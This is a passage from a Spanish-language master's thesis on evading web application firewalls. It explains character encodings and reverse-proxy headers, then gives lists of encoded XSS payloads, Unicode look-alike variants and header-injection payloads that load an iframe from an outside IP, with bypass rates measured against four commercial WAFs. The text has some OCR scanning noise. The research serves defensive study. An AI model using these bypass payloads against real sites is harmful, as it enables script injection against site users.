caracteres no se muestren correctamente o que se muestren como cuadros vacios o0 signos

de interrogacion.

e Conflictos de codificacion: Si la codificacion especificada en la pagina HTML no

coincide con la codificacion utilizada para guardar el archivo en el backend (la pagina
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esta codificada en UTF-8 pero el archivo se guarda como ANSI), puede haber conflictos
en la visualizacion de los caracteres y algunos caracteres pueden verse mal.

e Errores de codificacion manual: La codificacion manual de los caracteres puede llevar a

errores, especialmente si se utilizan caracteres especiales como comillas y ampersands.
Si estos caracteres no se codifican correctamente, pueden producirse errores en la
visualizacidn de la pagina.

e Errores en la conversién de datos: Si se realiza una conversion de datos de un formato a

otro, puede haber errores en la codificacion de los caracteres. Por ejemplo, si se convierte
un archivo de texto en formato ASCII a formato UTF-8, algunos caracteres pueden

aparecer incorrectamente.

Para evitar estos problemas, es importante utilizar herramientas y técnicas adecuadas para la
codificacién de caracteres en HTML. No obstante, estos errores e incompatibilidades son capaces
de generar una superficie propicia de ataque, que un cibercriminal podria aprovechar para evadir
las soluciones de seguridad como WAFs y explotar fallos como inyeccion de cédigo (por ejemplo
Cross-Site Scripting), permitiendo que un atacante tome el control de una pagina web y obtenga

informacidn confidencial, como contrasefias o informacion personal de los usuarios.

En esta investigacion se considera un método de codificacion HTML en conjuncion con el de
URL para el bypass de WAF.

5.4. Método de codificacion URL de caracteres

5.4.1. Definicion

La codificacion URL de caracteres, también conocida por su término en inglés "URL encoding",
es un método utilizado para convertir caracteres no ASCII y otros caracteres especiales en una
forma que pueda ser transmitida a través de una URL (Uniform Resource Locator) de manera
seguray sin errores. Este método se basa en la utilizacion de secuencias de escape especiales para

representar los caracteres no ASCII en formato hexadecimal.
5.4.2. Funcionamiento de codificacion

Cuando se envia una solicitud a un servidor web a través de una URL, la solicitud se compone de
varias partes, incluyendo el protocolo (http o https), el nombre de dominio y la ruta del archivo
solicitado. Cada una de estas partes puede contener caracteres no ASCII y especiales que no son
seguros para transmitir a través de una URL. Al utilizar la codificaciéon URL de caracteres, los
especiales son reemplazados por una secuencia de escape de porcentaje (%) seguida de dos digitos

hexadecimales que representan el valor ASCII del carécter original.
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Representacion URL

Dato de Entrada Codificacion URL
%3A
/ %2F

https://campusciberseguridad.com/ | https%3A%2F%2Fcampusciberseguridad.com%?2F

5.4.3. Implicaciones de seguridad

La codificacion URL de caracteres se utiliza cominmente en la construccion de enlaces y
formularios web, asi como en la transmision de datos a través de APIs. Ademas, es esencial en la
prevencion de errores y vulnerabilidades de seguridad en aplicaciones web. Sin la codificacion
adecuada de caracteres en una URL, los caracteres no ASCII y especiales pueden ser interpretados
de manera incorrecta o maliciosa, lo que puede dar lugar a errores de aplicacion o vulnerabilidades

de seguridad.

Es importante recalcar que se pueden codificar en URL todos los caracteres de cualquier alfabeto.
Véase a continuacion el ejemplo anterior, pero esta vez con cada uno de los caracteres no

especiales codificados en URL.:

Representacion URL

Dato de Entrada Codificacion URL

https://campusciberseguridad.com/ | https%3A%2F%2Fcampusciberseguridad.com%2F

%68%74%74%70%73%3a%2f%2f%63%61%6d%70
https://campusciberseguridad.com/ | %75%73%63%69%62%65%72%73%65%67%75%72
%69%64%61%64%2e%63%61%6d%2f

Cada carécter del alfabeto se codifico en URL utilizando la equivalencia en HTML especifica.
Esto brinda una potencial superficie de ataque para un ciberdelincuente que aproveche las
discrepancias en las medidas de seguridad impuestas por un aplicativo y/o WAF como capa de

proteccion principal.

5.5. Modelo cliente-servidor y proxy inverso
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5.5.1. Definicién de cliente-servidor

Con el fin de poder demostrar la técnica de evasion de WAF a través de encabezados ocultos es

necesario definir qué es el modelo de arquitectura Cliente-Servidor.

Concretamente, es un enfoque de disefio de software donde una aplicacion se divide en dos
componentes principales: el cliente y el servidor. El cliente es la parte de la aplicacion que
interactla directamente con el usuario final, mientras que el servidor es responsable de procesar

y almacenar los datos.

En una arquitectura Cliente-Servidor tipica, el cliente envia una solicitud al servidor a través de
una conexion de red, y el servidor procesa la solicitud y devuelve una respuesta. La comunicacion
entre el cliente y el servidor se realiza mediante un protocolo de red, como el protocolo HTTP

utilizado en la web.

Modelo Cliente-Servidor

Trafico Web Trafico Web ~

A

Cliente Servidor

ILUSTRACION 8 — MODELO CLIENTE-SERVIDOR.

5.5.2. Definicidn de proxy inverso

Un proxy inverso es un tipo especial de servidor que actia como intermediario entre el cliente y
el servidor real. Cuando un cliente envia una solicitud a través del proxy inverso, el proxy
intercepta la solicitud y la reenvia al servidor de final en lugar de que los clientes se comuniquen
directamente con él. Dicho servidor procesa la solicitud y envia la respuesta al proxy, que a su

vez la envia de vuelta al cliente.
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! Trafico Web ‘ Trafico Web
—> +—>
e

Cliente

Trafico Web
—>

Servidor

ILUSTRACION 9 — MODELO CLIENTE-SERVIDOR CON PROXY INVERSO.

5.5.3. Ventaja de proxy inverso

La principal ventaja de utilizar un proxy inverso en el modelo Cliente-Servidor es que puede
mejorar el rendimiento y la seguridad de una aplicacién. Al actuar como intermediario, el proxy
inverso puede hacer una serie de tareas, como cachear las respuestas de los servidores finales y
balancear la carga entre maltiples servidores. Ademas, el proxy puede implementar medidas de
seguridad como filtrado de solicitudes y autenticacién de usuarios, cifrado en la comunicacién,
ocultamiento de la direccion IP del servidor final y, filtrado y bloqueo de solicitudes maliciosas,

protegiendo asi la aplicacién de posibles ataques.
5.5.4. Encabezados HTTP y proxy inverso

Tal y como se defini6, el uso de un proxy inverso puede mejorar la seguridad de una aplicacion
web, actuando como un firewall entre la red externa y la red interna de la aplicacion web,
permitiendo un control méas granular sobre las solicitudes entrantes y salientes. También, puede
filtrar y bloquear solicitudes maliciosas antes de que lleguen al servidor final, lo que ayuda a

prevenir atagues como la inyeccién SQL y Cross-Site Scripting (XSS).

Una de las implementaciones mas comunes hoy en dia de seguridad en un proxy inverso son los
encabezados HTTP ocultos. Estos encabezados se envian desde el proxy hacia el servidor backend

y el usuario final no tiene ninguna capacidad de manipulacién o visualizacién sobre ellos.
5.5.5. Exposicion de superficie de ataque

Los encabezados, o por sus siglas en inglés “headers”, se utilizan para proporcionar informacion
adicional sobre la solicitud o para controlar el comportamiento del servidor, y por supuesto la
mayoria de los desarrolladores pasan por alto implementar correctas sanitizaciones y medidas de
seguridad en cada uno de ellos. Esta mala practica expone una superficie de ataque (ciega) para
un cibercriminal, el cual bajo las circunstancias correctas podria hallar algin encabezado valido

e inyectar alli codigo malicioso. EI WAF en este caso ignoraria los parametros enviados a través
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de él, ya que asumiria que esta peticion no deberia ser generada por un usuario final, sino méas

bien por y desde el proxy inverso hacia el backend.
En la siguiente imagen se presenta una superficie de ataque real:

1. Elcliente realiza una solicitud HTTP GET hacia el recurso “/admin”

2. El proxy inverso reenvia esta solicitud del cliente hacia el servidor backend.

3. Elproxy inverso adiciona un encabezado llamado “X-Privado” con algun valor especifico
y oculto al usuario final.

4. El proxy inverso adiciona un encabezado llamado “X-Proxy” con algtn valor especifico

y oculto al usuario final.

Envio de Encabezados Ocultos desde Proxy Inverso a Servidor

Traf ico Web Traﬁco Web Trafico Web

GET /admin GET /admin

Cliente - g Servidor
P Inverso X-Privado: <valor>

>

X-Proxy: <valor>

ILUSTRACION 10 — FLUJO DE EJEMPLO CON PETICIONES Y ENCABEZADOS HTTP.

Este escenario podria ser explotado por un atacante si adivinase los encabezados ocultos e
inyectara codigo malicioso en ellos. EI WAF ignoraria a estos encabezados, como se explico
anteriormente, debido a que los consideraria legitimos del proxy inverso y excluyentes de cara al

usuario final.
5.5.6. Limitaciones de explotacion

Es imperativo aclarar que no siempre sera posible manipular y explotar estos encabezados, ya que
pueden ser protegidos por mecanismos de seguridad implementados en el servidor. Estos
mecanismos pueden incluir comprobaciones de integridad, autenticacion y autorizacién, que se

realizan antes de procesar las solicitudes del cliente.

Adicionalmente, algunos servidores pueden estar configurados para bloquear o ignorar las
solicitudes que contienen ciertos encabezados, especialmente si se consideran sospechosos o
maliciosos. Esto se hace para evitar ataques de seguridad, como la inyeccidn de encabezados o la

falsificacion de encabezados, que pueden explotar vulnerabilidades en la aplicacion web.
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Por lo tanto, aunque los encabezados agregados por un proxy inverso pueden proporcionar
informacion valiosa y pueden ser Utiles en ciertos casos, no siempre es posible manipularlos y se

deben tener en cuenta las posibles limitaciones y restricciones que puedan existir.
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6. Desarrollo de las técnicas de evasion

Con el fin de brindar una perspectiva ofensiva a los equipos de ciberseguridad y sumar nuevas

maneras de evasidn contra las soluciones de seguridad implementadas actualmente, en particular

los firewalls de aplicacién se han desarrollado cuatro técnicas de bypass con diferentes cargas

Gtiles y testeadas contra cuatro WAFs diferentes:

Akamai.
Sucuri.
Cloudflare.

Imperva.

En los siguientes apartados se veran los detalles técnicos y los resultados finales de cada una de

las pruebas, asi como también una tabla comparativa entre los diferentes WAFs y la eficacia de

las inyecciones de cargas Utiles generadas.

32



METODOS DE EVASION DE WEB APPLICATION FIREWALLS EN APLICACIONES
WEB MODERNAS

7. Técnicas de evasion

7.1. Utilizacion de codificacion Unicode + URL

En la seccidén 5.2 se explicaron los fundamentos tedricos sobre la codificacion Unicode de
caracteres y particularmente se detall6 la notacidn de escape Unicode extendida, y en la seccion

5.4 los fundamentos tedricos de la codificacion URL.

En las siguientes técnicas propuestas se hara uso de estas exposiciones previas y premisas.
7.1.1. Representaciones y transformaciones

Se propone implementar una combinacion de codificacion Unicode en conjuncion con
codificacion URL. El caracter de ejemplo serd el signo de comilla simple ‘", frecuentemente
utilizado por atacantes para generar comportamientos no deseados en diferentes aplicaciones y

entornos, y que diversos WAFs consideran maliciosos.

A partir de las siguientes proposiciones se generaran diversas cargas Utiles a probar contra los

WAFs Akamai, Sucuri, Cloudflare e Imperva.

e Se expresa el caracter en notacidn de escape Unicode extendida con punto de cédigo
completo con 32 caracteres.

e Se codifican los caracteres “2” y “7” en URL.

e Se representa el caracter nulo en codificacion URL (%00) y se agrega 1 iteracion antes
del caracter “2”.

e Serepresenta el caracter nulo en codificacién URL (%00) y se agregan 8 iteraciones antes
del caracter “2”.

e Se agrega el caracter nulo en codificacion URL con 16 iteraciones, 8 antes del caracter
“2”y 8 después.

e Se utiliza la codificacion URL doble en los caracteres “2” 'y “7”.

e Se utiliza la codificacion URL doble en los caracteres nulos “%00”.

En la siguiente tabla comparativa se observan las transformaciones y formas de representacion
para el caricter de comilla simple, y cada una de las transformaciones esta inmersa en su
transformacion predecesora, es decir, se utiliza el resultado generado anteriormente para aplicar

nuevas modificaciones.

Tabla de resultados y representaciones finales
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Caracter Transformacion Resultado

Notacion de escape Unicode extendida
con punto de cédigo completo con 32 | \u00000027

caracteres

Codificacion URL en caracteres de
' y \u000000%32%37
representacion

Codificacion y adicion de caracter nulo
' \u000000%00%32%37
en URL

Codificacion y adicion con 8 iteraciones
\u000000%00%00%00%00%00%00

' de caracter nulo en URL antes del primer
%00%00%32%37

caracter de representacion

Codificacion y adicion con 8 iteraciones
) ] \u000000%00%00%00%00%00%00
de caracter nulo en URL antes del primer

' ) » . . %00%00%32%00%00%00%00%00
caracter de representacion y 8 iteraciones
%00%00%00%37

luego

o \u000000%00%00%00%00%00%00
Codificacion URL doble de caracteres de
' » %00%00%2532%00%00%00%00%
representacion
00%00%00%00%2537

\u000000%2500%2500%2500%250
Codificacion URL doble de caracteres | 0%2500%2500%2500%2500%2532
nulos %2500%2500%2500%2500%2500%
2500%2500%2500%2537

7.1.2. Generacion de cargas utiles

Para los ensayos se define el contexto en donde un WAF se implementa sobre una aplicacion que
protege diferentes ataques web de inyeccion; ademas de que se define particularmente el escenario

en donde un atacante realiza diversos intentos de explotacion Cross-Site Scripting (XSS).

Las cargas Utiles creadas son entonces payloads (JavaScript) que aplican las anteriores

proposiciones, codificando en los caracteres comillas dobles (**) y signo mayor que (>).

e Payload propuesto: "><script>alert(1)</script>
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Carga util original

Carga util codificada

"><script>alert(1)</script>

\u00000022><script>alert(1)</script\u000000%3e

"><script>alert(1)</script>

\u000000%32%32><script>alert(1)</script\u000000%33%65

"><script>alert(1)</script>

\u000000%00%32%32><script>alert(1)</script\u000000%00
%33%65

"><script>alert(1)</script>

\u000000%00%00%00%00%00%00%00%00%32%32><scrip
t>alert(1)</script\u000000%00%00%00%00%00%00%00%00
%33%65

"><script>alert(1)</script>

\u000000%00%00%00%00%00%00%00%00%32%00%00%0
0%00%00%00%00%00%32><script>alert(1)</script\u000000
%00%00%00%00%00%00%00%00%33%00%00%00%00%0
0%00%00%00%65

"><script>alert(1)</script>

\u000000%00%00%00%00%00%00%00%00%2532%00%00
%00%00%00%00%00%00%2532><script>alert(1)</script\u0
00000%00%00%00%00%00%00%00%00%2533%00%00%0
09%00%00%00%00%00%2565

"><script>alert(1)</script>

\u000000%2500%2500%2500%2500%2500%2500%2500%25
00%2532%2500%2500%2500%2500%2500%2500%62500%2
500%2532><script>alert(1)</script\u000000%2500%2500%2
500%2500%2500%2500%2500%2500%2533%2500%2500%
2500%2500%2500%2500%2500%2500%2565

7.2. Utilizacion de codificacion URL + HTML

Se propone implementar una combinacién de codificacion URL en conjuncién con codificacion

HTML. El caracter de ejemplo sera el signo de ampersands “&”, frecuentemente utilizado por

atacantes para generar comportamientos no deseados con codificacion HTML en diferentes

aplicaciones y entornos, y que diversos WAFs consideran maliciosos.

A partir de las siguientes proposiciones se generaran diversas cargas Utiles a probar contra los

WAFs Akamai, Sucuri, Cloudflare e Imperva.
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e Seexpresa el caracter “&” en codificacion URL “%26”.

o Se utiliza expresidn hexadecimal (%0026) en la codificacién URL.
e Se utilizan 2 digitos hexadecimales redundantes (%000026).

e Seagrega el caracter “%” codificado en URL al inicio de la cadena.

e Se agregan 4 digitos hexadecimales al final de la codificacion.

En la siguiente tabla comparativa se observan las transformaciones y formas de representacion
para el caracter de ampersands, y cada una de las transformaciones estd inmersa en su
transformacion predecesora, es decir, se utiliza el resultado generado anteriormente para aplicar

nuevas modificaciones.

Tabla de resultados y representaciones finales

Caracter Transformacion Resultado

& Codificacion URL %26

& Codificacion URL con formato hexadecimal %0026

& Agregacion de 2 digitos hexadecimales redundantes %000026

& Codificacion URL del caracter “%” al comienzo %?25000026

& Agregacion de 4 digitos hexadecimales al final de la cadena | %250000260000

7.2.1. Generacion de cargas utiles

Para los ensayos se define el contexto en donde un WAF se implementa sobre una aplicacién que
protege diferentes ataques web de inyeccidn; ademas de que se define particularmente el escenario

en donde un atacante realiza diversos intentos de explotacion Cross-Site Scripting (XSS).

Las cargas Utiles creadas son entonces payloads (JavaScript) que aplican las anteriores

proposiciones, codificando los caracteres ampersands (&), numeral (#) y punto y coma (;).

e Payload propuesto: <img src=x onerror=print()>

NOTA: Véase que la “Carga util HTML original” ya posee implicitamente la codificacion HTML

del caracter “o”.

Carga atil HTML original Carga atil HTML codificada
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<img src=x &#x6f;nerror=print()> <img src=x %26%23x6f%3bnerror=print()>

<img src=x &#x6f;nerror=print()> <img src=x %0026%0023x6f%003bnerror=print()>

<img src=x

<img src=x &#x6f;nerror=print()> ]
%000026%000023x61%00003bnerror=print()>

<img src=x

<img src=x &#x6f;nerror=print()> ]
%25000026%25000023x6%2500003bnerror=print()>

<img src=x
<img src=x &#x6f;nerror=print()> | %250000260000%250000230000x6f%2500003b0000ne

rror=print()>

7.3. Compatibilidad y normalizacion de caracteres especiales

Se propone implementar la compatibilidad y normalizacion Unicode a los caracteres especiales

que generan comportamientos no deseados en una aplicacion.

La compatibilidad Unicode es una forma de equivalencia, la cual garantiza que entre caracteres o
secuencias de caracteres que pueden tener apariencias visuales o comportamientos distintos, se
represente el mismo caracter abstracto. Por ejemplo, “L” se normaliza a “L”. Este
comportamiento podria exponer a algunas aplicaciones con implementaciones débiles que

realizan la compatibilidad Unicode después de que la entrada sea desinfectada.

Para ejemplificar los siguientes escenarios de creacion, se muestra la descomposicion y

composicion de la cadena de caracteres “Ma(8)(t)et « de ancho medio.

En este caso, algunos de los caracteres tienen equivalencias de compatibilidad y otros no.

Las normalizaciones NFD y NFKD descomponen los caracteres que tienen equivalentes de

compatibilidad en caracteres separados:
o NFD: M33tf
e NFKD: Master

Las normalizaciones NFC y NFKC manipulan los caracteres que tienen equivalentes de

compatibilidad como un solo caracter:
e NFC: MaSTef
e NFKC: MasTer
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Las normalizaciones NFKC_Casefold y NFKD_Casefold incluyen el paso adicional de convertir
la cadena en minusculas y aplicar la normalizacion NFKC o NFKD después de eso. Por ende, la

cadena “Ma(s)(t)er” se descompondra y se convertira en mintsculas como se muestra debajo:

e NFKC Casefold: master
e NFKD Casefold: master

Este conjunto de caracteres es una prueba de concepto perfecta para verificar qué WAFs permiten
inyectar caracteres especiales (de ancho completo y medio) que tengan diferentes puntos de

codigo y representen el mismo contenido abstracto una vez que se normalizan.

A partir de las siguientes proposiciones se generaran diversas cargas Utiles a probar contra los
WAFs Akamai, Sucuri, Cloudflare e Imperva.

e Seexpresa el caracter “<” en codificacion URL “%3c”.

e Se buscan caracteres similares al caracter “<” en representacion y diferentes en puntos de
codigo, como es ““ < 7.

e Se representan los puntos de cddigo de los caracteres similares en codificacion URL, tal

que “ < ” su representacion en codificacion URL es “%EF%B9%A4”.

e Seaplicaladoble codificacion de URL a los caracteres especiales y similares previamente

codificados, tal que “ < ” > “%EF%B9%A4” > “%25EF%25B9%25A4”.

En la siguiente tabla comparativa se observan las transformaciones y formas de representacion
para el caracter signo menor que, y cada una de las transformaciones estd inmersa en su
transformacion predecesora, es decir, se utiliza el resultado generado anteriormente para aplicar

nuevas modificaciones.

Tabla de resultados y representaciones finales

Caracter Transformacion Resultado

< Codificacion URL %3c

Codificacion URL en caracter similar con
) s %EF%B9%A4
punto de cddigo diferente

Codificacion URL en caracter similar con
< o ) %EF%BC%9C
punto de codigo diferente
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Codificacion URL en caracter similar con
< o ] %E2%89%AE

punto de codigo diferente
< Doble codificacion URL %25EF%25B9%25A4
< Doble codificaciéon URL %25EF%25BC%259C
< Doble codificaciéon URL %25E2%2589%25AE

7.3.1. Generacion de cargas utiles

Para los ensayos se define el contexto en donde un WAF se implementa sobre una aplicacion que

protege diferentes ataques web de inyeccion; ademas de que se define particularmente el escenario

en donde un atacante realiza diversos intentos de explotacion Cross-Site Scripting (XSS).

Las cargas Utiles creadas son entonces payloads (JavaScript) que aplican las anteriores

proposiciones, codificando en los caracteres menor que (<) y mayor que (>):

e Payload propuesto: <svg/onload=confirm(8)>

Carga util original

Carga util con caracteres de diferente code point

<svg/onload=confirm(8)>

< svg/onload=confirm(8) -

<svg/onload=confirm(8)>

<svg/onload=confirm(8) >

<svg/onload=confirm(8)>

<svg/onload=confirm(8)»

<svg/onload=confirm(8)>

%EF%B9%A4svg/onload=confirm(8)%EF%B9%A5

<svg/onload=confirm(8)>

%EF%BC%9Csvg/onload=confirm(8)%EF%BC%9E

<svg/onload=confirm(8)>

%E2%89%AEsvg/onload=confirm(8)%E2%89%AF

<svg/onload=confirm(8)>

%25EF%25B9%25A4svg/onload=confirm(8)%25EF%25B9%?2
5A5

<svg/onload=confirm(8)>

%25EF%25BC%259Csvg/onload=confirm(8)%25EF%25BC%?2
59E
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%25E2%2589%25AEsvg/onload=confirm(8)%25E2%2589%25

<svg/onload=confirm(8)>
AF

7.4. Inyeccion de encabezados HTTP no estandar

Se propone en esta Gltima técnica, a diferencia de las anteriores, buscar encabezados HTTP
ocultos en el escenario donde exista una aplicacion web, un proxy inverso y un servidor backend.
Actualmente, se pueden enviar legitimamente varios tipos de encabezados HTTP en el contexto

descrito previamente:

e Encabezados comunes: Estos headers se utilizan cominmente en todas las transacciones

HTTP, independientemente de si hay un servidor proxy involucrado o no.

e Encabezados de solicitud: Estos headers se envian desde el cliente al servidor proxy y

contienen informacién sobre la solicitud, como el método HTTP utilizado (por ejemplo,
GET, POST, etc.), la URL del recurso solicitado, el tipo de contenido aceptado por el
cliente, etc.

o Encabezados de proxy inverso: Estos headers se envian desde el servidor proxy al

backend y contienen informacion adicional relacionada con la solicitud original del
cliente, como la direccion IP del cliente, la direccion IP del servidor proxy, el protocolo
utilizado (HTTP o HTTPS), etc.

e Encabezados de respuesta: Estos headers se envian desde el backend al servidor proxy y

luego al cliente y contienen informacion sobre la respuesta, como el c6digo de estado
HTTP (por ejemplo, 200 OK, 404 Not Found, etc.), el tipo de contenido de la respuesta,

la longitud del contenido, etc.

De estos encabezados mencionados, los utilizados en esta técnica son del tipo “Request headers”
y “Proxy headers”. Los primeros, pueden estar vigentes para utilizarse sin necesidad explicita de
gue se implementen, es decir, tal vez no se hace uso en las peticiones legitimas de un usuario,
pero si estan disponibles para utilizar si se incluyesen en las solicitudes. En los segundos, el
usuario no tiene conocimiento de lo que se transmite, por lo cual debe inyectar diferentes

encabezados en la solicitud con el objetivo de verificar el comportamiento de la aplicacion.

Es importante considerar que la presencia y el tipo de encabezados enviados dependen de la

configuracion de la aplicacion cliente, el servidor proxy y el backend.

Estos encabezados se definen como personalizados (no estandar), por lo cual es necesario

agregarlos en la solicitud contra el servidor proxy, y que este luego los transmita al servidor
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backend para validar su aceptacion, lo cual da lugar a una potencial superficie de ataque para un

cibercriminal.

Estos encabezados personalizados pueden incluir informacion adicional relevante para el servidor

backend, como datos de autenticacion o informacion de seguimiento de solicitudes, entre otros.

NOTA: Algunos servidores proxy pueden estar configurados para filtrar o bloquear encabezados

personalizados por razones de seguridad.

A partir de las siguientes proposiciones se generaran diversas cargas Utiles a probar contra los

WAFs Akamai, Sucuri, Cloudflare e Imperva:

1. Verificar si la aplicacién responde de diferente manera cuando detecta la presencia de
algun encabezado no estandar insertado.

2. Verificar que se pueda manipular el contenido del encabezado no estandar aceptado por
el servidor.

3. Inyectar cddigo JavaScript malicioso para evidenciar si es detectado por el WAF en ese
encabezado, con la premisa de que se trata de un encabezado no estandar “oculto” para
el usuario.

4. Codificar el cédigo malicioso enviado a través del encabezado personalizado.

En la siguiente tabla se muestra la lista no exhaustiva de algunos encabezados HTTP no estandar

a verificar, junto con su funcionalidad.

Encabezados HTTP no estandar

Encabezado Funcionalidad

Indica la direccién IP (o el rango de IPs) de la fuente

X-Forwarded-For original del cliente que inicia la solicitud a través del

proxy.

Indica el nombre de host del servidor original del cliente
X-Forwarded-Host o o ;
que inicia la solicitud a traves del proxy.

Indica el puerto utilizado por el cliente original que
X-Forwarded-Port o o .
inicia la solicitud a través del proxy.

Indica el nombre del servidor original del cliente que
X-Forwarded-Server o o .
inicia la solicitud a través del proxy.
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Indica la direccion IP real del cliente que inicia la
X-Real-IP . )
solicitud a través del proxy.

Indica el nombre del servidor proxy que estd enviando
X-Forwarded-By o )
la solicitud hacia adelante.

Es una version estandar del encabezado “X-Forwarded-

Forwarded o
For” que cumple con la especificacion RFC 7239.
Indica la direccion IP (s6lo la IP, a diferencia de “X-
X-Forwarded-IP Forwarded-For”) de la fuente original del cliente que
inicia la solicitud a través del proxy.
) Indica la direccion IP del cliente que ha iniciado la
X-Client-1P

solicitud.

Es perentorio aclarar que no todos estos encabezados se utilizan en todas las situaciones y algunos
son especificos de ciertos tipos de proxys o servidores web. Ademas, el uso de estos encabezados

puede variar segun la configuracion del servidor y la aplicacién especifica que se esté utilizando.
7.4.1. Generacion de carga utiles

Para los ensayos se define el contexto en donde una aplicacion implementa un WAF vy la
arquitectura es cliente-proxy-servidor. También, un atacante realiza la busqueda de encabezados
HTTP no estandares u ocultos enviando varias peticiones al servidor en cuestion. Si encuentra
algin encabezado que altere la respuesta del servidor, entonces inyecta codigo malicioso
utilizando codificacién especial de caracteres (por ejemplo @@®.0.@.®: ®®) para confundir
al servidor backend que las peticiones las realiza él mismo (localhost), y luego detectar/explotar
Cross-Site Scripting (XSS).

Las cargas Utiles creadas son diferentes encabezados HT TP con payloads (JavaScript) que aplican

las proposiciones vistas en la seccion anterior.

Carga (til inyectada en encabezado HTTP no

Encabezado HTTP ’
estandar

X-Forwarded-For: D@@.0©.@.0"> <iframe
X-Forwarded-For
src="https://159.223.169.119/">
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X-Forwarded-Host

X-Forwarded-Host: D@@.0.@.0"> <iframe
src="https://159.223.169.119/">

X-Forwarded-Port

X-Forwarded-Port: ©@0@.0.0.0: ®©®"> <iframe
src="https://159.223.169.119/">

X-Forwarded-Server

X-Forwarded-Server: D@0.0.@.0"> <iframe
src="https://159.223.169.119/">

X-Real-IP

X-Real-IP: D@00.0.0.0"> <iframe
src="https://159.223.169.119/">

X-Forwarded-By

X-Forwarded-By: ©@®.0.0.0"> <iframe
src="https://159.223.169.119/">

Forwarded

Forwarded: ©@@.0.0.0"> <iframe
src="https://159.223.169.119/">

X-Forwarded-IP

X-Forwarded-IP: ©@00®.0.©.0"> <iframe
src="https://159.223.169.119/">

X-Client-IP

X-Client-IP: ©@®.0.0.0"> <iframe
src="https://159.223.169.119/">
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8. Resultados

8.1. Entornos de prueba

Con el objetivo de evidenciar el grado real de impacto de las técnicas propuestas en esta
investigacion y medir la eficiencia de las cargas Utiles generadas a partir de dichas técnicas, se
proponen cuatro aplicaciones web utilizadas ampliamente en el mercado, y que hacen uso de los

siguientes WAFs:

e  https://www.akamai.com/ (Akamai)
e https://sucuri.net/ (Sucuri)
o https://www.cloudflare.com/ (Cloudflare)

e  https://www.imperva.com/ (Imperva)
Se creo un laboratorio de pruebas para validar cada una de las cargas Utiles:
e http://159.223.169.119/ (Laboratorio de pruebas)

Es imperativo aclarar que, en estas webs, se asume que cada WAF estd implementado acorde a
las necesidades del entorno en donde se utiliza, y podrian existir variaciones con las diferentes

técnicas y payloads al tratarse de ambientes productivos.

Mientras tanto en el servidor de laboratorio, las configuraciones estan establecidas por defecto y

las cargas Utiles podran ser probadas alli para verificar su veracidad.

Considerando esta premisa, puede verse la ejecucidn de la carga util en el laboratorio de pruebas:

Payload

"><svg/onload=confirm(8)>
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Master de Ciberseguridad

PoC Evasion WAF  Gonzalo Carrasco  Crear Nuevo Post

Master de Ciberseguridad

TFM Métodos de Evasion de Web Application Firewalls (WAF) en Aplicaciones
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Campus Internacional
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ILUSTRACION 11 — LABORATORIO DE PRUEBAS.

@ 159.223.160.119:1337

9
[

Cancelar «“ﬂa

ILUSTRACION 12 — EJECUCION DE CROSS-SITE SCRIPTING EN LABORATORIO.

Este mismo payload se ejecuta en las cuatro aplicaciones con los WAFs en cuestion:

\al.com

Access Denied

You don't have permission to access "hitp://www akamai com/?" on this server.

Reference #18.95394017.1680836062.4075917a

ILUSTRACION 13 — ATAQUE BLOQUEADO POR WAF AKAMAI.
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sucuri.net,

4 [ Latig Website Firewall

e Access Denied - Sucuri Website Firewall

If you are the site owner (or you manage this site), please whitelist your IP or if you think this block is an error
please open a support ticket and make sure to include the block details (displayed in the box below), so we can
bssist you in troubleshooting the issue.

Block details:

sucuri.net/?testsucuri=%22%3E%3Csvg/onload=confirm(8)%3E

Block ID: X55020
Block reason: An attempted XSS (Cross site scripting) was detected and blocked.

ILUSTRACION 14 — ATAQUE BLOQUEADO POR WAF SUCURI.

Sorry, you have been blocked

You are unable to access www.cloudflare.com

ILUSTRACION 15 — ATAQUE BLOQUEADO POR WAF CLOUDFLARE.
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Access denied

Error 15

www.imperva.com

What happened?

This request was blocked by our security service

Powered by iMperva

ILUSTRACION 16 — ATAQUE BLOQUEADO POR WAF IMPERVA.

NOTA: Todas estas técnicas se deben probar bajo entornos de prueba o con explicita
autorizacion, es por ello por lo que se notificd a los propietarios de estos dominios sobre las

pruebas realizadas en un dia y una franja horaria especifica con fines educativos.
8.2. Resultados finales y comparativas

Luego de ejecutar una bateria de pruebas con cargas utiles (promedio de 25 payloads) generadas
a partir de las técnicas propuestas en este trabajo de estudio, se muestran a continuacién los
resultados finales.

Estos expresan de manera porcentual el grado de éxito que tuvo un payload especifico y que no
fue detenido por el WAF:
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Compatibilidad  Encabezados

Técnica
Unicode + URL | URL + HTML y HTTP no

normalizacion estandar

18.75 % 16.67 % 35%

Gkamai

SULLTi

Real People. Real Security.

16.67 % 65 %

25 %

CLOUDFLARE

16.67 %

imperva 22.64 %

Los resultados mostrados no necesariamente determinan qué WAF posee un menor o mayor grado
de efectividad en la actualidad, ya que las cargas Utiles y configuraciones internas varian. La tabla
comparativa debe entenderse como el comportamiento frente a diferentes codificaciones que no
necesariamente generarian una explotacién exitosa, ya que esto depende de diversos factores

externos (por ejemplo que exista una vulnerabilidad en cuestion), aunque si una potencial evasion.

NOTA: Lista de cargas Utiles de las 4 técnicas y el detalle sobre el navegador utilizado adjunta

en el anexo.
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9. Conclusiones

El éxito de las técnicas de evasidn propuestas en esta investigacion esta supeditado a contextos
con caracteristicas especificas. Alguna de estas caracteristicas (no exhaustivas) son, por ejemplo,
gue una aplicacion implemente e interprete codificacion Unicode, URL y HTML, que exista un

proxy inverso y encabezados no estandares declarados, entre otras.
Las pruebas muestran que:

o Los WAFs de Akamai, Sucuri e Imperva presentan una aceptable capacidad de deteccion
utilizando configuracion basica. No obstante, la escalabilidad de configuracion para
prevenir nuevas amenazas €s menor en comparacion con Cloudflare.

e EI WAF de Cloudflare es mas permisivo ante diferentes tipos de inyecciones utilizando
configuracion basica. No obstante, este WAF también permite mayor nivel de
configuracion e integracién en entornos que lo requieran, asi como las opciones
avanzadas de protecciéon DDoS, mitigacion de Bots, etc., por lo cual, llegaria
probablemente a obtener resultados superiores, desde el punto de vista de las politicas de
seguridad, comparado con Akamai, Sucuri e Imperva.

o Desde la perspectiva de un usuario malicioso, se concluye que si bien un WAF dificulta
la explotacion de diferentes vulnerabilidades web, no alcanza una taza de efectividad

elevada en todos los casos, generando asi una superficie de ataque sugerente.
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10. Trabajos futuros

El desarrollo brindado en este trabajo invita a una continua exploracion sobre los mecanismos de
evasion de WAFs y permite a los equipos de Blue Team indagar aln mas sobre las
configuraciones de sus soluciones implementadas, asi como también evaluar holisticamente sus

modelos de seguridad.

Para el futuro, quedan abiertas diversas lineas de investigacion en las técnicas presentadas y se
